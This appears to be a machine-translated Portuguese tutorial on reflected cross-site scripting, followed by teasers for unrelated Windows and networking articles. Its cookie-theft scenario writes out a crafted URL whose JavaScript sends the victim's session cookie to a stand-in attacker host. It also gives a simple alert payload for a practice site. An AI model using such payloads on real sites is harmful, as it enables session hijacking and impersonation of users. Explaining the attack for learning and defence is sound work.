Web7: Explorações XSS – Parte 1: XSS refletido

O que é script entre sites?

Cross-Site Scripting (XSS) é uma das técnicas de ataque mais populares da atualidade, conhecida como o Poderoso Chefão do Ataque, e por muitos anos foi listada como a técnica de ataque mais perigosa para aplicações web.

Não o chame de CSS abreviadamente para evitar confusão com o conceito Cascading Style Sheet do HTML.
A técnica
XSS é baseada na inserção de scripts perigosos no código-fonte do aplicativo da web. Para executar código Javascript malicioso para assumir o controle da sessão de login do usuário.

Para entender melhor, vamos considerar o seguinte exemplo. Uma aplicação web que permite imprimir o valor que passamos via URL, supondo que passamos na variável name o valor Ping:

Web7: Explorações XSS – Parte 1: XSS refletido

Está tudo bem até agora, vamos revisar o código-fonte HTML:

Web7: Explorações XSS – Parte 1: XSS refletido

O que é fácil de ver é que o valor do nome que inserimos foi inserido no código-fonte. Então é possível que tudo o que for importado também possa ser inserido. O problema se torna sério se o valor inserido não for uma string normal como acima, mas um trecho de código potencialmente perigoso, algo como isto:

 

Tente novamente com o valor acima:

Web7: Explorações XSS – Parte 1: XSS refletido

Deste exemplo podemos concluir duas coisas. Primeiro, a variável name pode receber qualquer valor de entrada e transmiti-lo ao servidor para processamento. Segundo, o servidor não controlou esse valor de entrada antes de retorná-lo ao navegador. Isso faz com que o código javascript seja inserido no código-fonte.

O XSS é geralmente dividido em 3 tipos principais: Refletido, Armazenado e baseado em DOM. Neste artigo mencionarei principalmente a técnica Reflected XSS.

Até 75% das técnicas XSS são baseadas em XSS Refletido. Chama-se refletido porque neste tipo de cenário de exploração, o hacker deve enviar à vítima uma URL contendo código malicioso (geralmente javascript). A vítima só precisa solicitar esta URL e o hacker receberá imediatamente uma resposta contendo o resultado desejado (reflexividade mostrada aqui). Além disso, também é conhecido como XSS de primeira ordem.

Cenário de mineração da vida real

Existem muitas maneiras de explorar o erro Reflected XSS, uma das formas mais conhecidas é assumir o controle da sessão do usuário, acessando assim os dados e ganhando seus direitos no site.

Os detalhes são descritos nas seguintes etapas:

Web7: Explorações XSS – Parte 1: XSS refletido

1. O usuário faz login na web e assume que uma sessão está atribuída:

Set-Cookie: sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4

2. De alguma forma, o hacker envia ao usuário a URL:

http://example.com/name=var+i=new+Image;+i.src=”http://hacker-site.net/”%2bdocument.cookie;

Suponha que example.com seja o site que a vítima visita, hacker-site.net seja o site criado pelo hacker

3. A vítima acessa a URL acima

4. O servidor responde à vítima, juntamente com os dados contidos na solicitação (o snippet javascript do hacker)

5. O navegador vítima recebe a resposta e executa o javascript

6. O javascript real que o hacker criou é o seguinte:

var i=new Image; i.src=”http://hacker-site.net/”+document.cookie;

A linha de comando acima basicamente faz uma solicitação ao site do hacker com o parâmetro sendo o cookie do usuário:

GET /sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4 HTTP/1.1Host: hacker-site.net

7. A partir do seu site, o hacker capturará o conteúdo da solicitação acima e considerará que a sessão do usuário foi controlada. Neste ponto, o hacker pode se passar pela vítima e exercer todos os direitos no site que a vítima possui.

Prática

O Google criou uma página para praticar a exploração de erros XSS aqui: https://xss-game.appspot.com

O objetivo desses desafios é que você injete scripts para abrir um pop-up. O primeiro desafio é ilustrar a técnica refletida, o código de exploração é bastante simples:

https://xss-game.appspot.com/level1/frame?query=alert('pwned')

Boa sorte!

Deixar um comentário

Como remover o aviso de solicitação de direitos autorais no canto direito da tela do Windows 10

Como remover o aviso de solicitação de direitos autorais no canto direito da tela do Windows 10

Você vê uma notificação de ativação do Windows 10 no canto direito da tela? Este artigo irá orientá-lo sobre como excluir o aviso de solicitação de direitos autorais no Windows 10.

Instruções do AZ sobre como instalar o Windows 10 build 14393.222

Instruções do AZ sobre como instalar o Windows 10 build 14393.222

Recentemente, a Microsoft lançou a atualização cumulativa mais recente para usuários de PC com Windows 10, chamada Build 14393.222. Esta atualização lançada para o Windows 10 corrige principalmente bugs com base no feedback do usuário e melhora a experiência de desempenho do sistema operacional.

Proteja sua rede de computadores com host Bastion em apenas 3 etapas

Proteja sua rede de computadores com host Bastion em apenas 3 etapas

Você tem computadores em sua rede local que precisam de acesso externo? Usar um host bastião como gatekeeper para sua rede pode ser uma boa solução.

3 maneiras de limpar rapidamente todos os logs de eventos no Windows 10

3 maneiras de limpar rapidamente todos os logs de eventos no Windows 10

Às vezes, pode ser necessário excluir logs de eventos antigos de uma só vez. Neste guia, Quantrimang.com mostrará três maneiras de excluir rapidamente todos os logs de eventos no Visualizador de Eventos do Windows 10.

Como criar uma tecla do Windows se o seu teclado não estiver disponível

Como criar uma tecla do Windows se o seu teclado não estiver disponível

Se você preferir usar um teclado clássico antigo, como o IBM Modelo M, que não inclui uma tecla física do Windows, existe um método fácil de adicionar mais, pegando emprestada uma tecla que você não usa com frequência.

Como criar modo de fundo transparente no Windows 10

Como criar modo de fundo transparente no Windows 10

WindowTop é uma ferramenta que tem a capacidade de escurecer todas as janelas de aplicativos e programas em execução em computadores com Windows 10. Ou você pode usar uma interface de fundo escuro no Windows.

Métodos de IP falso ajudam você a acessar anonimamente

Métodos de IP falso ajudam você a acessar anonimamente

Em muitos artigos anteriores, mencionamos que permanecer anônimo online é extremamente importante. Informações privadas vazam todos os anos, tornando a segurança online cada vez mais necessária. Essa também é a razão pela qual devemos usar endereços IP virtuais. Abaixo, aprenderemos sobre métodos para criar IPs falsos!

Como desativar a barra de idiomas na barra de tarefas do Windows 8

Como desativar a barra de idiomas na barra de tarefas do Windows 8

A barra de idiomas do Windows 8 é uma barra de ferramentas de idiomas em miniatura projetada para ser exibida automaticamente na tela da área de trabalho. No entanto, muitas pessoas desejam ocultar esta barra de idiomas na barra de tarefas.

Dicas para otimizar a velocidade da conexão com a Internet da Linksys

Dicas para otimizar a velocidade da conexão com a Internet da Linksys

Maximizar a velocidade da Internet é essencial para otimizar sua conexão de rede. Você pode ter uma ótima experiência de entretenimento e trabalho usando computadores, TVs com Internet, consoles de jogos, etc.

Como configurar WEP, WPA, WPA2 para roteador Linksys

Como configurar WEP, WPA, WPA2 para roteador Linksys

A conectividade sem fio é uma necessidade hoje e por isso a segurança sem fio é essencial para garantir a segurança da sua rede interna.